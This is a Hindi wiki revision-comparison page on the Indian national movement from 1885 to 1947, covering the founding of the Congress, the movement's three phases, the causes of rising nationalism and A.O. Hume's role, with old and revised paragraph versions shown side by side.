Difference between revisions of "भारतीय राष्ट्रीय आन्दोलन"

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'''भारतीय राष्ट्रीय आन्दोलन''' लम्बे समय तक चलने वाला एक प्रमुख राष्ट्रीय आन्दोलन था। इस आन्दोलन की औपचारिक शुरुआत [[1885]] ई. में [[कांग्रेस]] की स्थापना के साथ हुई, जो कुछ उतार-चढ़ावों के साथ [[15 अगस्त]], [[1947]] ई. तक अनवरत रूप से जारी रहा। [[भारत]] के राष्ट्रीय आन्दोलन को तीन भागों में बाँटा जा सकता है-
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|पाठ 3=[[असहयोग आंदोलन]], [[भारत छोड़ो आन्दोलन]], [[सविनय अवज्ञा आन्दोलन]], [[स्वदेशी आन्दोलन]],  [[नमक सत्याग्रह]]
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|पाठ 10=भारत स्वतंत्र राष्ट्र घोषित हुआ।
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|संबंधित लेख=[[गाँधी युग]], [[रॉलेट एक्ट]], [[थियोसॉफिकल सोसायटी]], [[वर्नाक्यूलर प्रेस एक्ट]],  [[इण्डियन कौंसिल एक्ट]], [[हार्टोग समिति]], [[हन्टर समिति]], [[बटलर समिति रिपोर्ट]], [[नेहरू समिति]], [[गोलमेज़ सम्मेलन]]
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|अन्य जानकारी=[[भारत]] के राष्ट्रीय आन्दोलन को तीन भागों में बाँटा जा सकता है-
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# [[भारतीय राष्ट्रीय आन्दोलन (प्रथम चरण)|प्रथम चरण]]
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# [[भारतीय राष्ट्रीय आन्दोलन (तृतीय चरण)|तृतीय चरण]]।
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'''भारतीय राष्ट्रीय आन्दोलन''' '[[भारतीय इतिहास]]' में लम्बे समय तक चलने वाला एक प्रमुख राष्ट्रीय आन्दोलन था। इस आन्दोलन की औपचारिक शुरुआत [[1885]] ई. में [[कांग्रेस]] की स्थापना के साथ हुई थी, जो कुछ उतार-चढ़ावों के साथ [[15 अगस्त]], [[1947]] ई. तक अनवरत रूप से जारी रहा। वर्ष [[1857]] से भारतीय राष्ट्रवाद के उदय का प्रारम्भ माना जाता है। राष्ट्रीय साहित्य और देश के आर्थिक शोषण ने भी राष्ट्रवाद को जगाने में महत्त्वपूर्ण योगदान दिया। [[भारत]] के राष्ट्रीय आन्दोलन को तीन भागों में बाँटा जा सकता है-
 
====प्रथम चरण (1885-1905 ई. तक)====
 
====प्रथम चरण (1885-1905 ई. तक)====
 
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इस काल में '[[भारतीय राष्ट्रीय कांग्रेस]]' की स्थापना हुई, किंतु इस समय तक इसका लक्ष्य पूरी तरह से अस्पस्ट था। उस समय इस आन्दोलन का प्रतिनिधित्व अल्प शिक्षित, बुद्धिजीवी मध्यम वर्गीय लोग कर रहे थे। यह वर्ग पश्चिम की उदारवादी एवं अतिवादी विचार धारा से प्रभावित था।
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इस काल में '[[भारतीय राष्ट्रीय कांग्रेस]]' की स्थापना हुई, किंतु इस समय तक इसका लक्ष्य पूरी तरह से अस्पष्ट था। उस समय इस आन्दोलन का प्रतिनिधित्व अल्प शिक्षित, बुद्धिजीवी मध्यम वर्गीय लोग कर रहे थे। यह वर्ग पश्चिम की उदारवादी एवं अतिवादी विचारधारा से प्रभावित था।
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[[चित्र:Mahatma-Gandhi-1.jpg|thumb|left|[[महात्मा गाँधी]]]]
 
====द्वितीय चरण (1905 से 1919 ई. तक)====
 
====द्वितीय चरण (1905 से 1919 ई. तक)====
 
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{{main|भारतीय राष्ट्रीय आन्दोलन (द्वितीय चरण)}}
इस समय तक 'भारतीय राष्ट्रीय कांग्रेस' काफ़ी परिपक्व हो गई थी तथा उसके लक्ष्य एवं उद्देश्य स्पष्ट हो चुके थे। राष्ट्रीय कांग्रेस के इस मंच से भारतीय जनता के सामाजिक, आर्थिक, राजनैतिक एवं सांस्कृतिक विकास के लिए प्रयास शुरू किये गये। इस दौरान कुछ उग्रवादी विचारधारा वाले संगठनों ने ब्रिटिश साम्राज्यवाद को समाप्त करने के लिए पश्चिम के ही क्रांतिकारी ढंग का प्रयोग भी किया।
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इस समय तक 'भारतीय राष्ट्रीय कांग्रेस' काफ़ी परिपक्व हो गई थी तथा उसके लक्ष्य एवं उद्देश्य स्पष्ट हो चुके थे। राष्ट्रीय कांग्रेस के इस मंच से भारतीय जनता के सामाजिक, आर्थिक, राजनीतिक एवं सांस्कृतिक विकास के लिए प्रयास शुरू किये गये। इस दौरान कुछ उग्रवादी विचारधारा वाले संगठनों ने ब्रिटिश साम्राज्यवाद को समाप्त करने के लिए पश्चिम के ही क्रांतिकारी ढंग का प्रयोग भी किया।
 
====तृतीय एवं अन्तिम चरण (1919 से 1947 ई. तक)====
 
====तृतीय एवं अन्तिम चरण (1919 से 1947 ई. तक)====
 
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इस काल में [[महात्मा गांधी]] के नेतृत्व में कांग्रेस ने पूर्ण स्वरज्य की प्राप्ति के लिए आन्दोलन प्रारम्भ किया।
 
इस काल में [[महात्मा गांधी]] के नेतृत्व में कांग्रेस ने पूर्ण स्वरज्य की प्राप्ति के लिए आन्दोलन प्रारम्भ किया।
 
==राष्ट्रवाद उदय के कारण==
 
==राष्ट्रवाद उदय के कारण==
[[1857]] ई. का वर्ष भारतीय राष्ट्रवाद के उदय का प्रारम्भ माना जाता है। इसके उदय के लिए निम्नलिखित कारण उत्तरदायी रहे-
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[[1857]] ई. का [[वर्ष]] भारतीय राष्ट्रवाद के उदय का प्रारम्भ माना जाता है। इसके उदय के लिए निम्नलिखित कारण उत्तरदायी थे-
*पाश्चात्य शिक्षा एवं [[संस्कृति]] ने राष्ट्रवादी भावना को जगाने में महत्वपूर्ण भूमिका का निर्वाह किया। [[अंग्रेज़|अंग्रेज़ों]] ने भारतीयों को इसलिए शिक्षित नहीं किया कि उनमें राष्ट्रीयता की भावना जागे। उनका उद्देश्य तो ब्रिटिश प्रशासन एवं व्यापारिक फ़र्मों के लिए क्लर्क की आवश्यकता की पूर्ति करना था, परन्तु यह अंग्रेज़ों का दुर्भाग्य सिद्ध हुआ कि भारतीयों को बर्क, मिल, ग्लैडस्टोन, ब्राइट और [[लॉर्ड मैकाले]] जैसे प्रमुख विचारकों के विचार सुनने का अवसर मिला तथा मिल्टर, शेली, बायरन जैसे महान कवियों, जो स्वयं ही [[ब्रिटेन]] की बर्बर नीतियों से जूझ रहे थे, की कविताओं को पढ़ने एवं वाल्टेयर, रूसो, मैजिनी जैसे लोगों के विचारों को जानने का सैभाग्य मिला। इस तरह पाश्चात्य शिक्षा के प्रभाव से लोगों में राष्ट्रवादी भावनायें पनपी। 1833 ई. में [[अंग्रेज़ी]] को शिक्षा का माध्यम बनाया गया।
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====पाश्चात्य शिक्षा एवं संस्कृति====
 
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पाश्चात्य शिक्षा एवं [[संस्कृति]] ने राष्ट्रवादी भावना को जगाने में महत्वपूर्ण भूमिका का निर्वाह किया। [[अंग्रेज़|अंग्रेज़ों]] ने भारतीयों को इसलिए शिक्षित नहीं किया, क्योंकि वे नहीं चाहते थे कि उनमें राष्ट्रीयता की भावना जागे। उनका उद्देश्य तो ब्रिटिश प्रशासन एवं व्यापारिक फ़र्मों के लिए लिपिक की आवश्यकता की पूर्ति करना था, परन्तु यह अंग्रेज़ों का दुर्भाग्य सिद्ध हुआ कि भारतीयों को बर्क, मिल, ग्लैडस्टोन, ब्राइट और [[लॉर्ड मैकाले]] जैसे प्रमुख विचारकों के विचार सुनने का अवसर मिला तथा मिल्टर, शेली, बायरन जैसे महान् कवियों, जो स्वयं ही [[ब्रिटेन]] की बर्बर नीतियों से जूझ रहे थे, की कविताओं को पढ़ने एवं वाल्टेयर, रूसो, मैजिनी जैसे लोगों के विचारों को जानने का सौभाग्य मिला। इस तरह पाश्चात्य शिक्षा के प्रभाव से लोगों में राष्ट्रवादी भावनायें पनपने लगीं। 1833 ई. में [[अंग्रेज़ी]] को शिक्षा का माध्यम बनाया गया। पश्चिमी देशों के साथ सम्बन्ध, पाश्चात्य साहित्य, [[विज्ञान]], [[इतिहास]] एवं [[दर्शन]] के अध्ययन से भारतीयों को [[भारत]] में प्रचलित कुप्रथाओं के बारे में जानकारी हुई, साथ ही उनमें राष्ट्रवाद की भावना का भी उदय हुआ।
पश्चिमी देशों के साथ सम्बन्ध, पाश्चात्य साहित्य, [[विज्ञान]], [[इतिहास]] एवं [[दर्शन]] के अध्ययन से भारतीयों को [[भारत]] में प्रचलित कुप्रथाओं के बारे में जानकारी हुई, साथ ही उनमें राष्ट्रवाद की भावना का भी उदय हुआ।
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[[चित्र:Pile-Of-News-Papers.jpg|thumb|left|[[समाचार पत्र]]]]
*समाचार-पत्रों एवं प्रेस का राष्ट्रवाद के उदय में महत्वपूर्ण योगदान रहा है। भारत में [[राजा राममोहन राय]] ने राष्ट्रीय प्रेस की नींव डाली। उन्होंने 'संवाद कुमौदी', [[बंगला भाषा]] में, एवं 'मिरात उल अख़बार', [[फ़ारसी भाषा|फ़ारसी]] में, जैसे पत्रों का सम्पादन कर भारत में राजनैतिक जागरण की दिशा में प्रथम प्रयास किया। [[1859]] ई. में राष्ट्रवादी भावना से ओत-प्रोत साप्ताहिक पत्र ‘सोम प्रकाश’ का सम्पादन [[ईश्वरचन्द्र विद्यासागर]] ने किया। इसके अतिरिक्त बंगदूत, अमृत बाज़ार पत्रिका, केसरी, हिन्दू, पायनियर, मराठा, इण्डियन मिरर, आदि ने ब्रिटिश हुकूमत की ग़लत नीतियों की आलोचना कर भारतीयों में राष्ट्रवाद की भावना को जगाया।
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====राष्ट्रवाद का उदय====
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[[समाचार पत्र|समाचार-पत्रों]] एवं प्रेस का राष्ट्रवाद के उदय में महत्वपूर्ण योगदान रहा है। [[भारत]] में [[राजा राममोहन राय]] ने 'राष्ट्रीय प्रेस' की नींव डाली। उन्होंने 'संवाद कौमुदी' [[बंगला भाषा]] में एवं 'मिरात उल अख़बार' [[फ़ारसी भाषा|फ़ारसी]] में, जैसे पत्रों का सम्पादन कर भारत में राजनीतिक जागरण की दिशा में प्रथम प्रयास किया। [[1859]] ई. में राष्ट्रवादी भावना से ओत-प्रोत साप्ताहिक पत्र ‘सोम प्रकाश’ का सम्पादन [[ईश्वरचन्द्र विद्यासागर]] ने किया। इसके अतिरिक्त बंगदूत, [[अमृत बाज़ार पत्रिका]], केसरी, हिन्दू, पायनियर, मराठा, इण्डियन मिरर, आदि ने ब्रिटिश हुकूमत की ग़लत नीतियों की आलोचना कर भारतीयों में राष्ट्रवाद की भावना को जगाया।
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{{seealso|भारत में समाचार पत्रों का इतिहास}}
  
{{seealso|भारत में समाचार पत्रों का इतिहास}}
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====राष्ट्रीय साहित्य====
*राष्ट्रीय साहित्य भी राष्ट्रवादी भावना की उत्पत्ति के लिए ज़िम्मेदार है। आधुनिक [[खड़ी बोली|खड़ी हिन्दी]] के पितामह [[भारतेन्दु हरिशचंद्र]] ने [[1876]] ई. में लिखे अपने नाटक ‘भारत दुर्दशा’ में अंग्रेज़ों की भारत के प्रति आक्रामक नीति का उल्लेख किया है। इस क्षेत्र में हरिश्चन्द्र के अतिरिक्त प्रताप नारायण मिश्र, बालकृष्ण भट्ट, बद्रीनारायण चैधरी भी आते हैं, जिनकी रचनायें देश प्रेम की भावना से ओत प्रोत थी। अन्य भाषाओं जैसे [[उर्दू]] के साहित्य में मुहम्मद हुसैन, अल्ताप हुसैन की रचनाओं, बंगला में [[बंकिमचन्द्र चटर्जी]], [[मराठी]] में चिपलुकर, [[गुजराती भाषा|गुजराती]] में नर्मदा, [[तमिल भाषा|तमिल]] में सुब्रह्मण्यम भारती आदि की रचनाओं में देश में प्रेम की भावना मिलती है।
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राष्ट्रीय साहित्य भी राष्ट्रवादी भावना की उत्पत्ति के लिए ज़िम्मेदार है। आधुनिक [[खड़ी बोली|खड़ी हिन्दी]] के पितामह [[भारतेन्दु हरिशचंद्र]] ने [[1876]] ई. में लिखे अपने नाटक ‘भारत दुर्दशा’ में अंग्रेज़ों की भारत के प्रति आक्रामक नीति का उल्लेख किया है। इस क्षेत्र में हरिश्चन्द्र के अतिरिक्त [[प्रताप नारायण मिश्र]], [[बालकृष्ण भट्ट]], बद्रीनारायण चौधरी भी आते हैं, जिनकी रचनायें देश प्रेम की भावना से ओत प्रोत थी। अन्य भाषाओं, जैसे [[उर्दू]] के साहित्य में मुहम्मद हुसैन, अल्ताप हुसैन की रचनाओं, बंगला में [[बंकिमचन्द्र चटर्जी]], [[मराठी]] में चिपलुकर, [[गुजराती भाषा|गुजराती]] में नर्मदा, [[तमिल भाषा|तमिल]] में [[सुब्रह्मण्यम भारती]] आदि की रचनाओं में देश में प्रेम की भावना मिलती है।
*आर्थिक शोषण का भी राष्ट्रवाद को जगाने में महत्वपूर्ण योगदान [[दादाभाई नौरोजी]] ने धन निष्कासन के सिद्वान्त को समझाकर अंग्रेज़ों के शोषण का खाका खींचा। [[अंग्रेज़|अंग्रेज़ों]] की [[भारत]] विरोधी आर्थिक नीति ने भारतीयों के मन में विदेशी राज्य के प्रति नफ़रत एवं स्वदेशी माल एवं राज्य के प्रति प्रेम को जगाया। भारत के आर्थिक शोषण की पराकाष्ठा [[लॉर्ड लिटन प्रथम|लॉर्ड लिटन]] के शासन काल में देखने को मिलती है।
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====देश का आर्थिक शोषण====
*अंग्रेज़ों के भारत में आने से पहले यहाँ राजनीतिक एकीकरण का अभाव था। [[मुग़ल]] सम्राट [[औरंगज़ेब]] के बाद भारतीय सीमा छिन्न-भिन्न हो गई थी, पर अंग्रेज़ी साम्राज्य की स्थापना से भारत में राजनीतिक एकीकरण हुआ।
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अंग्रेज़ों के द्वारा देश का जो आर्थिक शोषण किया जा रहा था, उसने भी राष्ट्रवाद को जगाने में महत्त्वपूर्ण योगदान दिया। [[दादाभाई नौरोजी]] ने धन निष्कासन के सिद्धांत को समझाकर अंग्रेज़ों के शोषण का खाका खींचा। [[अंग्रेज़|अंग्रेज़ों]] की [[भारत]] विरोधी आर्थिक नीति ने भारतीयों के मन में विदेशी राज्य के प्रति नफ़रत एवं स्वदेशी माल एवं राज्य के प्रति प्रेम को जगाया। भारत के आर्थिक शोषण की पराकाष्ठा [[लॉर्ड लिटन प्रथम|लॉर्ड लिटन]] के शासन काल में देखने को मिलती है।[[चित्र:Lord-Macaulay.jpg|thumb|[[लॉर्ड मैकाले]]]]
*तीव्र परिवहन तथा संचार साधनों में रेल, डाक व तार आदि के विकास ने भी भारत में राष्ट्रवाद की जड़ को मज़बूत किया। रेलवे ने इसमें मुख्य भूमिका का निर्वाह किया। एडविन आरनोल्ड ने लिखा है कि- "रेलवे भारत के लिए वह कार्य कर देंगीं, जो बड़े-बड़े वंशो ने पहले कभी नहीं किया, जो [[अकबर]] अपनी दयाशीलता व [[टीपू सुल्तान]] अपनी उग्रता द्वारा नहीं कर सका, वे भारत को एक राष्ट्र नहीं बना सके।"
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==अन्य महत्त्वपूर्ण कारण==
*बौद्धिक पुनर्जागरण ने राष्ट्रवाद के उदय में एक अहम् भूमिका निभायी। राजा राममोहन राय, [[दयानंद सरस्वती]], [[स्वामी विवेकानंद]] आदि ने भारतीयों के अन्तर्मन को झकझोरा। इस संदर्भ में दयानंद सरस्वती ने कहा कि 'स्वदेशी राज्य सर्वोपरि एवं सर्वोत्तम होता है।' स्वामी रामतीर्थ ने कहा कि 'मै सशरीर भारत हूँ और सारा भारत मेरा शरीर है।'
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*अंग्रेज़ों के भारत में आने से पहले यहाँ राजनीतिक एकीकरण का अभाव था। [[मुग़ल]] सम्राट [[औरंगज़ेब]] के बाद भारतीय सीमा छिन्न-भिन्न हो गई थी, पर [[अंग्रेज़ी शासन|अंग्रेज़ी साम्राज्य]] की स्थापना से भारत में राजनीतिक एकीकरण हुआ।
*यूरोपीय विद्वान सर विलियम जोंस, मोनियर विलियम्ज, मैक्समूलर, विलियम रोथ, सैमसन, मैकडानल्ड आदि ने शोधों के द्वारा [[भारत]] की प्राचीन सांस्कृतिक धरोहर से सबका परिचय कराया और निश्चित रूप से इससे भारतीयों के मन से हीन भावना गायब हुई। उनमें आत्म-सम्मान एवं आत्म-विश्वास जागा, जिससे उनके अन्दर देश-भक्ति एवं राष्ट्रवाद की भावना प्रोत्साहित हुई।
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*तीव्र परिवहन तथा संचार साधनों में रेल, डाक व तार आदि के विकास ने भी भारत में राष्ट्रवाद की जड़ को मज़बूत किया। रेलवे ने इसमें मुख्य भूमिका का निर्वाह किया। एडविन आरनोल्ड ने लिखा है कि- "रेलवे भारत के लिए वह कार्य कर देगीं, जो बड़े-बड़े वंशो ने पहले कभी नहीं किया, जो [[अकबर]] अपनी दयाशीलता व [[टीपू सुल्तान]] अपनी उग्रता द्वारा नहीं कर सका, वे भारत को एक राष्ट्र नहीं बना सके।"
*अंग्रेज़ों द्वारा भारतीयों के प्रति हर जगह सेना, उद्योग, सरकारी नौकरियों एवं आर्थिक क्षेत्र में अपनायी जाने वाली भेदभाव पूर्ण नीति ने भी राष्ट्रवादिता को जन्म दिया।
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*बौद्धिक पुनर्जागरण ने राष्ट्रवाद के उदय में एक अहम् भूमिका निभायी। राजा राममोहन राय, [[दयानंद सरस्वती]], [[स्वामी विवेकानंद]] आदि ने भारतीयों के अन्तर्मन को झकझोरा। इस संदर्भ में दयानंद सरस्वती ने कहा कि- "स्वदेशी राज्य सर्वोपरि एवं सर्वोत्तम होता है।' [[स्वामी रामतीर्थ]] ने कहा कि 'मै सशरीर भारत हूँ और सारा भारत मेरा शरीर है।"
*लॉर्ड लिटन के प्रतिक्रियावादी कार्य, जैसे- [[दिल्ली दरबार]], वर्नाक्यूलर प्रेस एक्ट, आर्म्स एक्ट, इंडियन सिविल सर्विस ([[भारतीय प्रशासनिक सेवा]]) की आयु को 21 वर्ष से घटाकर 19 वर्ष करना, द्वितीय आंग्ल-अफ़ग़ान युद्ध आदि ने राष्ट्रवाद के उदय के मार्ग को प्रशस्त किया।
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*यूरोपीय विद्वान् [[विलियम जोंस|सर विलियम जोंस]], मोनियर विलियम्ज, [[मैक्समूलर]], विलियम रोथ, सैमसन, मैकडॉनल्ड आदि ने शोधों के द्वारा [[भारत]] की प्राचीन सांस्कृतिक धरोहर से सबका परिचय कराया और निश्चित रूप से इससे भारतीयों के मन से हीन भावना गायब हुई। उनमें आत्म-सम्मान एवं आत्म-विश्वास जागा, जिससे उनके अन्दर देश-भक्ति एवं राष्ट्रवाद की भावना प्रोत्साहित हुई।
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*[[अंग्रेज़|अंग्रेज़ों]] द्वारा भारतीयों के प्रति हर जगह सेना, उद्योग, सरकारी नौकरियों एवं आर्थिक क्षेत्र में अपनायी जाने वाली भेदभाव पूर्ण नीति ने भी राष्ट्रवादिता को जन्म दिया।
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*[[लॉर्ड लिटन]] के प्रतिक्रियावादी कार्य, जैसे- [[दिल्ली दरबार]], [[वर्नाक्यूलर प्रेस एक्ट]], आर्म्स एक्ट, इंडियन सिविल सर्विस ([[भारतीय प्रशासनिक सेवा]]) की आयु को 21 वर्ष से घटाकर 19 वर्ष करना, [[द्वितीय आंग्ल-अफ़ग़ान युद्ध]] आदि ने राष्ट्रवाद के उदय के मार्ग को प्रशस्त किया।[[चित्र:Lord-Ripon.jpg|thumb|left|[[लॉर्ड रिपन]]]]
 
==ह्यूम का योगदान==
 
==ह्यूम का योगदान==
'भारतीय राष्ट्रीय कांग्रेस' की स्थापना से पूर्व इस दिशा में किये गये महत्त्वपूर्ण प्रयासों के अन्तर्गत [[1 मार्च]], [[1883]] ई. को ए.ओ. ह्यूम ने '[[कलकत्ता विश्वविद्यालय]]' के स्नातकों के नाम एक पत्र लिखा, जिसमें उन्होनें सब से मिल-जुलकर स्वाधीनता के लिए प्रयत्न करने की अपील की। इस अपील का शिक्षित भारतीयों पर अच्छा प्रभाव पड़ा। वे एक अखिल भारतीय संगठन की आवश्यकता महसूस करने लगे। इस दिशा में निश्चित रूप से पहला क़दम [[सितम्बर]], [[1884]] ई. में उठाया गया, जब 'अडयार' ([[मद्रास]]) में '[[थियोसोफ़िकल सोसाइटी]]' का वार्षिक अधिवेशन हुआ। इस अधिवेशन में ह्यूम सहित [[दादाभाई नौरोजी]], [[सुरेन्द्रनाथ बनर्जी]] आदि शामिल हुए। इसी के बाद 1884 ई. में 'इण्डियन नेशनल यूनियन' नामक देशव्यापी संगठन स्थापित हुआ। इस संगठन की स्थापना का प्रमुख उद्देश्य भारतीय लोगों द्वारा देश की सामाजिक समस्याओं के सम्बन्ध में विचार-विमर्श करना था।
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{{Main|ह्यूम, ए. ओ.}}
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'[[भारतीय राष्ट्रीय कांग्रेस]]' की स्थापना से पूर्व इस दिशा में किये गये महत्त्वपूर्ण प्रयासों के अन्तर्गत [[1 मार्च]], [[1883]] ई. को ए.ओ. ह्यूम ने '[[कलकत्ता विश्वविद्यालय]]' के स्नातकों के नाम एक पत्र लिखा, जिसमें उन्होंने सब से मिल-जुलकर स्वाधीनता के लिए प्रयत्न करने की अपील की। इस अपील का शिक्षित भारतीयों पर अच्छा प्रभाव पड़ा। वे एक अखिल भारतीय संगठन की आवश्यकता महसूस करने लगे। इस दिशा में निश्चित रूप से पहला क़दम [[सितम्बर]], [[1884]] ई. में उठाया गया, जब 'अडयार' ([[मद्रास]]) में '[[थियोसोफ़िकल सोसाइटी]]' का वार्षिक अधिवेशन हुआ। इस अधिवेशन में ह्यूम सहित [[दादाभाई नौरोजी]], [[सुरेन्द्रनाथ बनर्जी]] आदि शामिल हुए। इसी के बाद 1884 ई. में 'इण्डियन नेशनल यूनियन' नामक देशव्यापी संगठन स्थापित हुआ। इस संगठन की स्थापना का प्रमुख उद्देश्य भारतीय लोगों द्वारा देश की सामाजिक समस्याओं के सम्बन्ध में विचार-विमर्श करना था।
 
====भारतीय राष्ट्रीय कांग्रेस की स्थापना====
 
====भारतीय राष्ट्रीय कांग्रेस की स्थापना====
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{{Main|भारतीय राष्ट्रीय कांग्रेस}}
 
इसी समय ह्यूम ने तत्कालीन [[वायसराय]] [[लार्ड डफ़रिन]] से सलाह ली और ऐसा माना जाता है कि 'भारतीय राष्ट्रीय कांग्रेस' डफ़रिन के ही दिमाग की उपज थी। डफ़रिन भी चाहता था कि भारतीय राजनीतिज्ञ वर्ष में एक बार एकत्र हों, जहाँ पर वे प्रशासन के कार्यों के दोष एवं उनके निवारणार्थ सुझावों द्वारा सरकार के प्रति अपनी वास्तविक भावना प्रकट करें, ताकि प्रशासन भविष्य में घटने वाली किसी घटना के प्रति सतर्क रहे। ह्यूम डफ़रिन की योजना से सहमत हो गये। इस संगठन की स्थापना से पूर्व ह्यूम [[इंग्लैण्ड]] गये, जहाँ उन्होंने [[लॉर्ड रिपन]], [[लॉर्ड डलहौज़ी]] जॉन व्राइट एवं स्लेग जैसे राजनीतिज्ञों से इस विषय पर व्यापक विचार-विमर्श किया। [[भारत]] आने से पहले ह्यूम ने इंग्लैण्ड में भारतीय समस्याओं के प्रति ब्रिटिश संसद के सदस्यों में रुचि पैदा करने के उद्देश्य से एक 'भारत संसदीय समिति' की स्थापना की। भारत आने पर ह्यूम ने 'इण्डियन नेशनल यूनियन' की एक बैठक बम्बई में [[25 दिसम्बर]], [[1885]] ई. को की, जहाँ पर व्यापक विचार-विमर्श के बाद 'इण्डियन नेशनल युनियन' का नाम बदलकर 'इण्डियन नेशनल कांग्रेस' या 'भारतीय राष्ट्रीय कांग्रेस' रखा गया। यहीं पर इस संस्था ने जन्म लिया। पहले इसका सम्मेलन [[पूना]] में होना था, परन्तु वहाँ हैजा फैल जाने के कारण स्थान परिवर्तित कर [[बम्बई]] में सम्मेलन का आयोजन किया गया।
 
इसी समय ह्यूम ने तत्कालीन [[वायसराय]] [[लार्ड डफ़रिन]] से सलाह ली और ऐसा माना जाता है कि 'भारतीय राष्ट्रीय कांग्रेस' डफ़रिन के ही दिमाग की उपज थी। डफ़रिन भी चाहता था कि भारतीय राजनीतिज्ञ वर्ष में एक बार एकत्र हों, जहाँ पर वे प्रशासन के कार्यों के दोष एवं उनके निवारणार्थ सुझावों द्वारा सरकार के प्रति अपनी वास्तविक भावना प्रकट करें, ताकि प्रशासन भविष्य में घटने वाली किसी घटना के प्रति सतर्क रहे। ह्यूम डफ़रिन की योजना से सहमत हो गये। इस संगठन की स्थापना से पूर्व ह्यूम [[इंग्लैण्ड]] गये, जहाँ उन्होंने [[लॉर्ड रिपन]], [[लॉर्ड डलहौज़ी]] जॉन व्राइट एवं स्लेग जैसे राजनीतिज्ञों से इस विषय पर व्यापक विचार-विमर्श किया। [[भारत]] आने से पहले ह्यूम ने इंग्लैण्ड में भारतीय समस्याओं के प्रति ब्रिटिश संसद के सदस्यों में रुचि पैदा करने के उद्देश्य से एक 'भारत संसदीय समिति' की स्थापना की। भारत आने पर ह्यूम ने 'इण्डियन नेशनल यूनियन' की एक बैठक बम्बई में [[25 दिसम्बर]], [[1885]] ई. को की, जहाँ पर व्यापक विचार-विमर्श के बाद 'इण्डियन नेशनल युनियन' का नाम बदलकर 'इण्डियन नेशनल कांग्रेस' या 'भारतीय राष्ट्रीय कांग्रेस' रखा गया। यहीं पर इस संस्था ने जन्म लिया। पहले इसका सम्मेलन [[पूना]] में होना था, परन्तु वहाँ हैजा फैल जाने के कारण स्थान परिवर्तित कर [[बम्बई]] में सम्मेलन का आयोजन किया गया।
 
==प्रथम चरण==
 
==प्रथम चरण==
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[[चित्र:Ishwar-Chandra-Vidyasagar.jpg|thumb|[[ईश्वर चन्द्र विद्यासागर]]]]
 
{{main|भारतीय राष्ट्रीय आन्दोलन (प्रथम चरण)}}
 
{{main|भारतीय राष्ट्रीय आन्दोलन (प्रथम चरण)}}
[[1885]] ई. में भारतीय राष्ट्रीय कांग्रेस की स्थापना के साथ ही इस पर उदारवादी राष्ट्रीय नेताओं का वर्चस्व स्थापित हो गया। तत्कालीन उदारवादी राष्ट्रवादी नेताओं में प्रमुख थे- [[दादाभाई नौरोजी]], महादेव गोविन्द रानाडे, [[फ़िरोजशाह मेहता]], [[सुरेन्द्रनाथ बनर्जी]], दीनशा वाचा, [[व्योमेश चन्‍द्र बनर्जी]], [[गोपाल कृष्ण गोखले]], [[मदन मोहन मालवीय]] आदि। कांग्रेस की स्थापना के आरम्भिक 20 वर्षो में उसकी नीति अत्यन्त ही उदार थी, इसलिए इस काल को कांग्रेस के इतिहास में 'उदारवादी राष्ट्रीयता का काल' माना जाता है। कांग्रेस के संस्थापक सदस्य भारतीयों के लिए [[धर्म]] और जाति के पक्षपात का अभाव, मानव में समानता, क़ानून के समक्ष समानता, नागरिक स्वतंत्रताओं का प्रसार और प्रतिनिधि संस्थओं के विकास की कामना करते थे। उदारवादी नेताओं का मानना था कि संवैधनिक तरीके अपना कर ही हम देश को आज़ाद करा सकते है।
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[[1885]] ई. में भारतीय राष्ट्रीय कांग्रेस की स्थापना के साथ ही इस पर उदारवादी राष्ट्रीय नेताओं का वर्चस्व स्थापित हो गया। तत्कालीन उदारवादी राष्ट्रवादी नेताओं में प्रमुख थे- [[दादाभाई नौरोजी]], [[महादेव गोविन्द रानाडे]], [[फ़िरोजशाह मेहता]], [[सुरेन्द्रनाथ बनर्जी]], दीनशा वाचा, [[व्योमेश चन्‍द्र बनर्जी]], [[गोपाल कृष्ण गोखले]], [[मदन मोहन मालवीय]] आदि। कांग्रेस की स्थापना के आरम्भिक 20 वर्षो में उसकी नीति अत्यन्त ही उदार थी, इसलिए इस काल को कांग्रेस के इतिहास में 'उदारवादी राष्ट्रीयता का काल' माना जाता है। कांग्रेस के संस्थापक सदस्य भारतीयों के लिए [[धर्म]] और जाति के पक्षपात का अभाव, मानव में समानता, क़ानून के समक्ष समानता, नागरिक स्वतंत्रताओं का प्रसार और प्रतिनिधि संस्थओं के विकास की कामना करते थे। उदारवादी नेताओं का मानना था कि संवैधनिक तरीके अपना कर ही हम देश को आज़ाद करा सकते है।
 
==द्वितीय चरण==
 
==द्वितीय चरण==
 
 
{{main|भारतीय राष्ट्रीय आन्दोलन (द्वितीय चरण)}}
 
{{main|भारतीय राष्ट्रीय आन्दोलन (द्वितीय चरण)}}
 
आन्दोलन के इस चरण में एक ओर उग्रवादी तो दूसरी ओर क्रांतिकारी आन्दोलन चलाये गये। दोनों ही एक मात्र उद्देश्य, ब्रिटिश राज्य से मुक्ति एवं पूर्ण स्वराज्य की प्राप्ति, के लिए लड़ रहे थे। एक तरफ़ उग्रवादी विचारधारा के लोग 'बहिष्कार आन्दोलन' को आधार बनाकर लड़ रहे थे तो दूसरी ओर क्रांतिकारी विचारधारा के लोग बमों और बन्दूकों के उपयोग से स्वतन्त्रता प्राप्त करना चाहते थे। जहाँ एक ओर उग्रवादी शान्तिपूर्ण सक्रिय राजनीतिक आन्दोलनों में विश्वास करते थे, वहीं क्रातिकारी [[अंग्रेज़|अंग्रेज़ों]] को [[भारत]] से भगाने में शक्ति एवं हिंसा के उपयोग में विश्वास करते थे।
 
आन्दोलन के इस चरण में एक ओर उग्रवादी तो दूसरी ओर क्रांतिकारी आन्दोलन चलाये गये। दोनों ही एक मात्र उद्देश्य, ब्रिटिश राज्य से मुक्ति एवं पूर्ण स्वराज्य की प्राप्ति, के लिए लड़ रहे थे। एक तरफ़ उग्रवादी विचारधारा के लोग 'बहिष्कार आन्दोलन' को आधार बनाकर लड़ रहे थे तो दूसरी ओर क्रांतिकारी विचारधारा के लोग बमों और बन्दूकों के उपयोग से स्वतन्त्रता प्राप्त करना चाहते थे। जहाँ एक ओर उग्रवादी शान्तिपूर्ण सक्रिय राजनीतिक आन्दोलनों में विश्वास करते थे, वहीं क्रातिकारी [[अंग्रेज़|अंग्रेज़ों]] को [[भारत]] से भगाने में शक्ति एवं हिंसा के उपयोग में विश्वास करते थे।
 
====राजनीतिक लक्ष्य एवं कार्य प्रणाली====
 
====राजनीतिक लक्ष्य एवं कार्य प्रणाली====
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[[चित्र:Lal-Bal-Pal.jpg|thumb|left|[[लाला लाजपत राय|लाल]], [[बाल गंगाधर तिलक|बाल]] और [[विपिन चन्द्र पाल]]|पाल]]
 
